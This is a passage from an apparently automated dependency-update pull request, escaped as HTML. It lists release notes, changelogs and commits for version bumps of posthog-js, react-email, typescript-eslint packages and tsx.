href=\"https://github.com/mikenicholls88\"\u003e\u003ccode\u003e@​mikenicholls88\u003c/code\u003e\u003c/a\u003e! - Make \u003ccode\u003ejsonStringify\u003c/code\u003e circular-safe so event serialization never throws. Previously a captured property holding a circular value — most commonly a DOM node that retains a React fiber pointing back at the element — made \u003ccode\u003eJSON.stringify\u003c/code\u003e throw \u003ccode\u003eConverting circular structure to JSON\u003c/code\u003e; with \u003ccode\u003ecapture_exceptions\u003c/code\u003e enabled that throw was recaptured as a new \u003ccode\u003e$exception\u003c/code\u003e, at times in a loop. On a throw we now fall back to \u003ccode\u003esafeJsonStringify\u003c/code\u003e from \u003ccode\u003e@posthog/core\u003c/code\u003e. The fast (non-circular) path is unchanged, and only true cycles become \u003ccode\u003e\u0026quot;[Circular]\u0026quot;\u003c/code\u003e, so shared-but-acyclic references keep their real values.\n(2026-07-13)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PostHog/posthog-js/commit/8cec061702e02c05f6d0c0863bb6bbd3a900995c\"\u003e\u003ccode\u003e8cec061\u003c/code\u003e\u003c/a\u003e chore: update versions and lockfile [version bump]\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PostHog/posthog-js/commit/17d956c6639e83396aa19a5974d7550b46928c68\"\u003e\u003ccode\u003e17d956c\u003c/code\u003e\u003c/a\u003e fix(browser): log benign network-level fetch failures at warn, not error (\u003ca href=\"https://redirect.github.com/PostHog/posthog-js/issues/4141\"\u003e#4141\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PostHog/posthog-js/commit/ab100642da425590b9dcb78a9e8573eeeb29f52a\"\u003e\u003ccode\u003eab10064\u003c/code\u003e\u003c/a\u003e fix(autocapture): bound DOM ancestor walks and fail closed on abnormal trees ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PostHog/posthog-js/commit/bc0e563784bb6e33b4df45a1d13b0e6f239f3728\"\u003e\u003ccode\u003ebc0e563\u003c/code\u003e\u003c/a\u003e chore: update versions and lockfile [version bump]\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PostHog/posthog-js/commit/7c339bed0655c3e00b1860ba2da9f41c4f9013e1\"\u003e\u003ccode\u003e7c339be\u003c/code\u003e\u003c/a\u003e fix(browser): keep sendBeacon content type CORS-simple when uncompressed (\u003ca href=\"https://redirect.github.com/PostHog/posthog-js/issues/4139\"\u003e#4139\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PostHog/posthog-js/commit/e1d108e24aef78d9a1cec7c5a8d80d2e718f1e5d\"\u003e\u003ccode\u003ee1d108e\u003c/code\u003e\u003c/a\u003e chore: update versions and lockfile [version bump]\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PostHog/posthog-js/commit/4ebb61837adaed8960abbe3f8e0e28781e6bf905\"\u003e\u003ccode\u003e4ebb618\u003c/code\u003e\u003c/a\u003e fix(web): make jsonStringify circular-safe so event serialization never throw...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PostHog/posthog-js/commit/a30454e3c396a11dee3621db4240184f16efe4be\"\u003e\u003ccode\u003ea30454e\u003c/code\u003e\u003c/a\u003e chore: update versions and lockfile [version bump]\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PostHog/posthog-js/commit/9bfaa8fce1358c04e05ee42283afe47408aadc96\"\u003e\u003ccode\u003e9bfaa8f\u003c/code\u003e\u003c/a\u003e feat(react-native): enable native error tracking on macOS (\u003ca href=\"https://redirect.github.com/PostHog/posthog-js/issues/4111\"\u003e#4111\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PostHog/posthog-js/commit/d7f7c8e84695cade8d2a3e4604c6adf6801e4b92\"\u003e\u003ccode\u003ed7f7c8e\u003c/code\u003e\u003c/a\u003e chore: update versions and lockfile [version bump]\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PostHog/posthog-js/compare/posthog-js@1.399.2...posthog-js@1.399.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react-email` from 6.7.0 to 6.8.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/resend/react-email/releases\"\u003ereact-email's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ereact-email@6.8.1\u003c/h2\u003e\n\u003cp\u003eNo release notes provided.\u003c/p\u003e\n\u003ch2\u003ereact-email@6.8.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e9605c04: Add a Props tab to the preview toolbar for live-editing the props a template is rendered with. Edits re-render the preview without changing the template's \u003ccode\u003ePreviewProps\u003c/code\u003e, invalid JSON is flagged inline, and a reset restores the template defaults.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ed7743bc: Ship per-module build output with \u003ccode\u003esideEffects: false\u003c/code\u003e so bundlers can tree-shake unused components. Importing a component no longer pulls prismjs, marked, and tailwindcss into the bundle unless \u003ccode\u003eCodeBlock\u003c/code\u003e, \u003ccode\u003eMarkdown\u003c/code\u003e, or \u003ccode\u003eTailwind\u003c/code\u003e is actually used.\u003c/li\u003e\n\u003cli\u003e7b32bf6: Fixed toolbar tabs not responding on statically built previews when the page was opened with a \u003ccode\u003etoolbar-panel\u003c/code\u003e query param in the URL.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/resend/react-email/blob/canary/packages/react-email/CHANGELOG.md\"\u003ereact-email's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e6.8.1\u003c/h2\u003e\n\u003ch2\u003e6.8.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e9605c04: Add a Props tab to the preview toolbar for live-editing the props a template is rendered with. Edits re-render the preview without changing the template's \u003ccode\u003ePreviewProps\u003c/code\u003e, invalid JSON is flagged inline, and a reset restores the template defaults.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ed7743bc: Ship per-module build output with \u003ccode\u003esideEffects: false\u003c/code\u003e so bundlers can tree-shake unused components. Importing a component no longer pulls prismjs, marked, and tailwindcss into the bundle unless \u003ccode\u003eCodeBlock\u003c/code\u003e, \u003ccode\u003eMarkdown\u003c/code\u003e, or \u003ccode\u003eTailwind\u003c/code\u003e is actually used.\u003c/li\u003e\n\u003cli\u003e7b32bf6: Fixed toolbar tabs not responding on statically built previews when the page was opened with a \u003ccode\u003etoolbar-panel\u003c/code\u003e query param in the URL.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/resend/react-email/commit/3966136fbb3d9b2c683fefddc5a495e3c94b05dc\"\u003e\u003ccode\u003e3966136\u003c/code\u003e\u003c/a\u003e chore(root): version packages (\u003ca href=\"https://github.com/resend/react-email/tree/HEAD/packages/react-email/issues/3651\"\u003e#3651\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/resend/react-email/commit/465b63561f4fa7c006e26e8fccc295d7d64a82bf\"\u003e\u003ccode\u003e465b635\u003c/code\u003e\u003c/a\u003e chore(root): version packages (\u003ca href=\"https://github.com/resend/react-email/tree/HEAD/packages/react-email/issues/3642\"\u003e#3642\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/resend/react-email/commit/d7743bc4eb2deaf6ea0ac0486edf683c26b0cc55\"\u003e\u003ccode\u003ed7743bc\u003c/code\u003e\u003c/a\u003e fix(react-email): ship per-module output so bundlers can tree-shake unused co...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/resend/react-email/commit/afa94da6bbdbb4ecc44cb4fa70779227d30f32e4\"\u003e\u003ccode\u003eafa94da\u003c/code\u003e\u003c/a\u003e fix(deps): update dependency jiti to v2.6.1 (\u003ca href=\"https://github.com/resend/react-email/tree/HEAD/packages/react-email/issues/3398\"\u003e#3398\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/resend/react-email/commits/react-email@6.8.1/packages/react-email\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@typescript-eslint/eslint-plugin` from 8.63.0 to 8.64.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases\"\u003e@​typescript-eslint/eslint-plugin's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.64.0\u003c/h2\u003e\n\u003ch2\u003e8.64.0 (2026-07-13)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003esupport parsing \u003ccode\u003eimport defer\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12513\"\u003e#12513\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-loop-func] support \u003ccode\u003eusing\u003c/code\u003e / \u003ccode\u003eawait using\u003c/code\u003e declarations and deprecate the rule (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12500\"\u003e#12500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e throw for invalid definite assignment in class properties (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12543\"\u003e#12543\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] handle constrained arrays (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12512\"\u003e#12512\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e송재욱\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.64.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/eslint-plugin/CHANGELOG.md\"\u003e@​typescript-eslint/eslint-plugin's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.64.0 (2026-07-13)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-loop-func] support \u003ccode\u003eusing\u003c/code\u003e / \u003ccode\u003eawait using\u003c/code\u003e declarations and deprecate the rule (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12500\"\u003e#12500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e throw for invalid definite assignment in class properties (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12543\"\u003e#12543\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] handle constrained arrays (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12512\"\u003e#12512\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e송재욱\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.64.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/414d9abbf66f77796ab12ec7e75b07722e592832\"\u003e\u003ccode\u003e414d9ab\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.64.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/bcfe16fd2c4cbb12227168475172b46cd5788543\"\u003e\u003ccode\u003ebcfe16f\u003c/code\u003e\u003c/a\u003e feat(eslint-plugin): [no-loop-func] support \u003ccode\u003eusing\u003c/code\u003e / \u003ccode\u003eawait using\u003c/code\u003e declarati...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/5b5bfdeb8fd6b351c4366fb09d46ae35ec6eeea7\"\u003e\u003ccode\u003e5b5bfde\u003c/code\u003e\u003c/a\u003e fix(eslint-plugin): [require-array-sort-compare] handle constrained arrays (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/321856cdadeb369ce89c90327822399b1447e5f9\"\u003e\u003ccode\u003e321856c\u003c/code\u003e\u003c/a\u003e chore: cleanup cspell config (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12526\"\u003e#12526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/b418cf577f66e65ea1ddd02619fda3a5de9cb9e6\"\u003e\u003ccode\u003eb418cf5\u003c/code\u003e\u003c/a\u003e feat(typescript-estree): throw for invalid definite assignment in class prope...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/737de2b569c29327d2e19a81ebd95236bd854335\"\u003e\u003ccode\u003e737de2b\u003c/code\u003e\u003c/a\u003e docs: align unified-signatures correct example parameter (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12506\"\u003e#12506\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/a63c17ab747b1f539c51ca066c0409a901677004\"\u003e\u003ccode\u003ea63c17a\u003c/code\u003e\u003c/a\u003e docs: fix shadowed parameter name in unified-signatures example (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12502\"\u003e#12502\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commits/v8.64.0/packages/eslint-plugin\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@typescript-eslint/parser` from 8.63.0 to 8.64.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases\"\u003e@​typescript-eslint/parser's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.64.0\u003c/h2\u003e\n\u003ch2\u003e8.64.0 (2026-07-13)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003esupport parsing \u003ccode\u003eimport defer\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12513\"\u003e#12513\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-loop-func] support \u003ccode\u003eusing\u003c/code\u003e / \u003ccode\u003eawait using\u003c/code\u003e declarations and deprecate the rule (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12500\"\u003e#12500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e throw for invalid definite assignment in class properties (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12543\"\u003e#12543\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] handle constrained arrays (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12512\"\u003e#12512\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e송재욱\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.64.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/parser/CHANGELOG.md\"\u003e@​typescript-eslint/parser's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.64.0 (2026-07-13)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for parser to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.64.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/414d9abbf66f77796ab12ec7e75b07722e592832\"\u003e\u003ccode\u003e414d9ab\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.64.0\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commits/v8.64.0/packages/parser\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `tsx` from 4.23.0 to 4.23.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/privatenumber/tsx/releases\"\u003etsx's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.23.1\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/privatenumber/tsx/compare/v4.23.0...v4.23.1\"\u003e4.23.1\u003c/a\u003e (2026-07-13)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003esupport tsImport after global preload (\u003ca href=\"https://github.com/privatenumber/tsx/commit/8d4ffc24f37b396ca2fe3f251aa92c4919f2c1a4\"\u003e8d4ffc2\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ewatch:\u003c/strong\u003e avoid clearing piped output (\u003ca href=\"https://github.com/privatenumber/tsx/commit/95d0672e0247a829ae4469daa493212967ea768e\"\u003e95d0672\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ewatch:\u003c/strong\u003e treat script and dependency paths literally (\u003ca href=\"https://github.com/privatenumber/tsx/commit/79fddde523d3bb7d0af66682ce1265f95113a073\"\u003e79fddde\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance Improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eindex transform cache lazily (\u003ca href=\"https://github.com/privatenumber/tsx/commit/e818ad608159a6fb36fb8a0bd59327fec313323d\"\u003ee818ad6\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eload esbuild lazily in CLI (\u003ca href=\"https://github.com/privatenumber/tsx/commit/d0679381b60a55a9b5863603a4022a81db5d13c8\"\u003ed067938\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003emap Node TypeScript formats directly (\u003ca href=\"https://github.com/privatenumber/tsx/commit/cdcc6232a3277fb3028b226958b66c49a6d86c17\"\u003ecdcc623\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003euse sync module hooks on Node v22.22.3+ (\u003ca href=\"https://github.com/privatenumber/tsx/commit/f8992f1a50213e11b7ef8ab5121c78e0d2f29384\"\u003ef8992f1\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eThis release is also available on:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://www.npmjs.com/package/tsx/v/4.23.1\"\u003e\u003ccode\u003enpm package (@​latest dist-tag)\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/79fddde523d3bb7d0af66682ce1265f95113a073\"\u003e\u003ccode\u003e79fddde\u003c/code\u003e\u003c/a\u003e fix(watch): treat script and dependency paths literally\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/e818ad608159a6fb36fb8a0bd59327fec313323d\"\u003e\u003ccode\u003ee818ad6\u003c/code\u003e\u003c/a\u003e perf: index transform cache lazily\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/cdcc6232a3277fb3028b226958b66c49a6d86c17\"\u003e\u003ccode\u003ecdcc623\u003c/code\u003e\u003c/a\u003e perf: map Node TypeScript formats directly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/d0679381b60a55a9b5863603a4022a81db5d13c8\"\u003e\u003ccode\u003ed067938\u003c/code\u003e\u003c/a\u003e perf: load esbuild lazily in CLI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/95d0672e0247a829ae4469daa493212967ea768e\"\u003e\u003ccode\u003e95d0672\u003c/code\u003e\u003c/a\u003e fix(watch): avoid clearing piped output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/6fd4607e8a99d1efe27f185f749c659138f00ece\"\u003e\u003ccode\u003e6fd4607\u003c/code\u003e\u003c/a\u003e docs: add per-page metadata\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/f4176d8c6329a12205ed9b8c582e559cafc45018\"\u003e\u003ccode\u003ef4176d8\u003c/code\u003e\u003c/a\u003e docs: generate sitemap\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/8d4ffc24f37b396ca2fe3f251aa92c4919f2c1a4\"\u003e\u003ccode\u003e8d4ffc2\u003c/code\u003e\u003c/a\u003e fix: support tsImport after global preload\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/f0e89b244c98849dc5f9483fa33aaaf983ede18f\"\u003e\u003ccode\u003ef0e89b2\u003c/code\u003e\u003c/a\u003e docs: document Node's public type-stripping API vs internal loader path\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/f8992f1a50213e11b7ef8ab5121c78e0d2f29384\"\u003e\u003ccode\u003ef8992f1\u003c/code\u003e\u003c/a\u003e perf: use sync module hooks on Node v22.22.3+\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/privatenumber/tsx/compare/v4.23.0...v4.23.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `typescript-eslint` from 8.63.0 to 8.64.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases\"\u003etypescript-eslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.64.0\u003c/h2\u003e\n\u003ch2\u003e8.64.0 (2026-07-13)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003esupport parsing \u003ccode\u003eimport defer\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12513\"\u003e#12513\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-loop-func] support \u003ccode\u003eusing\u003c/code\u003e / \u003ccode\u003eawait using\u003c/code\u003e declarations and deprecate the rule (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12500\"\u003e#12500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e throw for invalid definite assignment in class properties (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12543\"\u003e#12543\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] handle constrained arrays (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12512\"\u003e#12512\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e송재욱\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.64.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca 